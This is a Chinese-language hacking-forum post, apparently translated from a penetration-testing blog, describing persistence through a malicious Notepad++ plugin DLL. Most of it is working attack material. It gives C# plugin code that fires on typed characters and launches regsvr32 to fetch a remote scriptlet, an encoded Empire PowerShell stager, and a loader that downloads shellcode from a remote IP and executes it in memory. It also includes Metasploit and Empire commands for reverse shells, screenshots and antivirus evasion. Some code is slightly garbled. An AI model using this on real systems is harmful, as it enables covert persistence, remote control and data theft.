標題:利用Notepad++ 自定義插件進行權限維持

taibeihacker

Moderator

0x00 前言​

Notepad++是一個流行的Windows 文本編輯器,它具有插件方式的擴展功能。在Windows 環境中,尤其是在開發人員和IT 人員的主機中安裝了Notepad++ 文本編輯器的情況並不少見。除了可以為紅隊人員提供重要信息的收集之外,還可以通過將從遠程命令執行加載或腳本的任意插件來用作權限維持。

0x01 基本消息框示例​

Notepad++插件可用於擴展Notepad++ 的功能。默認情況下,用戶可以在Notepad++ 已信任的插件列表中安裝所需插件,但也可以運行安裝自定義插件,無需任何驗證,從而為開發人員提供可擴展文本編輯器使用的靈活性。插件具有DLL 文件的形式,要安裝自定義插件,只需將DLL 放入%PROGRAMFILES%\Notepad++\plugins\pluginName\pluginName.dll.
好處是加載或激活插件不需要用戶交互。缺點是需要本地管理員權限才能寫入目錄。
1049983-20220901183526407-539078844.png
應該注意的是,為了加載插件,文件夾名和DLL文件名需要相同。對於紅隊人員來說,不需要從頭開始編寫惡意插件,因為Notepad++ 插件包可以用作修改模板。當特定事件發生時,有多種API 可用於執行任意操作。當在notepad++ 中輸入字符時,SCI_ADDTEXTAPI 將觸發自定義命令。在以下示例中,當插入字符時將會彈出一個消息框。
可以在https://github.com/kbilsted/Notepad...ter/Visual Studio Project Template C#/Main.cs
中使用.NET 模板的OnNotification下進行修改代碼
1049983-20220901183527259-2121246731.png
修改的代碼如下:class Main{ static bool ExecuteOnce=true; public static void OnNotification(ScNotification notification) { if (notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT ExecuteOnce) { MessageBox.Show('Persistence via Notepad++ - Visit https://pentestlab.blog'); ExecuteOnce=!ExecuteOnce; } }
或者:class Main{ static bool firstRun=true; public static void OnNotification(ScNotification notification) { if (notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT firstRun) { using var process=Process.GetCurrentProcess(); MessageBox.Show($'Hello from {process.ProcessName} ({process.Id}).'); firstRun=!firstRun; } }
w4ftdjhefvn20705.png
Notepad++ 插入插件消息框示例編譯代碼將生成DLL 文件,需要在超級管理員權限下運行,因為需要寫入權限才能將插件寫入到相關的子文件夾中。
dir 'C:\Program Files\Notepad++\plugins\pentestlab'
fvua4xrnq4m20706.png
Notepad++ 插件位置在下次啟動Notepad++ 並輸入字符時,將彈出一個消息框,顯示代碼已編譯執行成功。
rh2qf1ikq2i20707.png
Notepad++ 執行成功

0x02 MSF反弹示例​

也可以執行無文件的有效載荷從而建立通信通道。這裡可以利用windowsregsvr32二進製文件從遠程位置加載執行腳本。 Metasploit 框架通過web 交付模塊支持該利用方式。
use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.3
set LPORT 4444
run可以稍微修改使用所需的參數來執行regsvr32的命令
classMain{ staticboolfirstRun=true;publicstaticvoidOnNotification(ScNotification notification){if(notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT firstRun){stringstrCmdText;strCmdText='/s /n /u /i:http://10.0.0.3:8080/nHIcvfz6N.sctscrobj.dll';Process.Start('regsvr32', strCmdText);firstRun=!firstRun;}}
ucgqrg021hz20708.png
Notepad++ Regsvr32 方法類似地,與初始示例一樣,當在Notepad++ 中輸入新字符時,將觸發執行命令的事件
kfsfq2cetfd20709.png
Notepad++ 持久性觸發器Meterpreter 將進行會話監聽,並建立通信通道。
3sy3w5neyen20710.png
Notepad++ Regsvr32 Meterpreter執行以下命令將啟動與目標主機的交互
sessions
sessions -i 1
pwd
getuid
nwml35hdnnb20711.png
Notepad++ Meterpreter shell

0x03 Empire反弹shell示例​

以類似的方式,Empire C2 可用於生成各種stager 文件。這些文件通常包含一個可以在PowerShell 進程中執行的base64 命令。以下用stager 方式作為示例:
usestager windows/launcher_sct
uw2mkj02ccf20712.png
Empire Stager 模塊stager 應該指向已經在Empire 中運行的監聽器,並且執行命令會將文件寫入到“generated-stagers”文件夾中。
set Listener http
execute
o5ljzyeuidx20713.png
Empire– Stager 配置和生成可以將生成的launcher.sct文件上傳到目標系統中,然後通過regsvr32 命令執行或者可以復制launcher.sct文件中生成的base64,通過插件內部使用該命令來執行來躲避殺軟的檢查。
vfaocur1cso20714.png
Empire– PowerShell Base64 有效負載示例代碼:classMain{ static bool ExecuteOnce=true;publicstaticvoidOnNotification(ScNotification notification){if(notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT firstRun){stringstrCmdText;strCmdText='-noP -sta -w -l enc base64命令執行代碼';Process.Start('powershell', strCmdText); ExecuteOnce=!ExecuteOnce;}}
kf3qta3ydkh20715.png
Notepad++ – 插件Empire Stager觸發命令後,Empire 中將出現一個新的交互式shell。
agents
qnpjfeawesl20716.png
Notepad++ EmpireEmpire 模塊的命令還可有信息收集的功能,例如對主機桌面進行截圖以及用戶名、連接字符串或URL 之類的信息。
usemodule powershell/collection/screenshot
set Agent notepad
execute
o5fsmyjyy4j20717.png
Notepad++ Empire截圖
f4ncygrjmgd20718.png
Notepad++ 截圖

0x04 cobaltstike反弹shell示例​

將MessageBox 替換為shellcode通過cobasltsike加載,代碼如下:
if (notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT firstRun)
{
using var client=new WebClient();
var buf=client.DownloadData('http://172.19.215.47/shellcode');
var hMemory=VirtualAlloc(
IntPtr.Zero,
(uint)buf.Length,
AllocationType.Reserve | AllocationType.Commit,
MemoryProtection.ReadWrite);
Marshal.Copy(buf, 0, hMemory, buf.Length);
_=VirtualProtect(
hMemory,
(uint)buf.Length,
MemoryProtection.ExecuteRead,
out _);
_=CreateThread(
IntPtr.Zero,
0,
hMemory,
IntPtr.Zero,
0,
out _);
firstRun=!firstRun;
}
1cyqz1qpakt20719.png

0x05 总结​

應該注意的是,該權限持久性技術的一個缺點是需要用戶鍵入字符,因此可能不會經常收到反彈shell。
 
返回
上方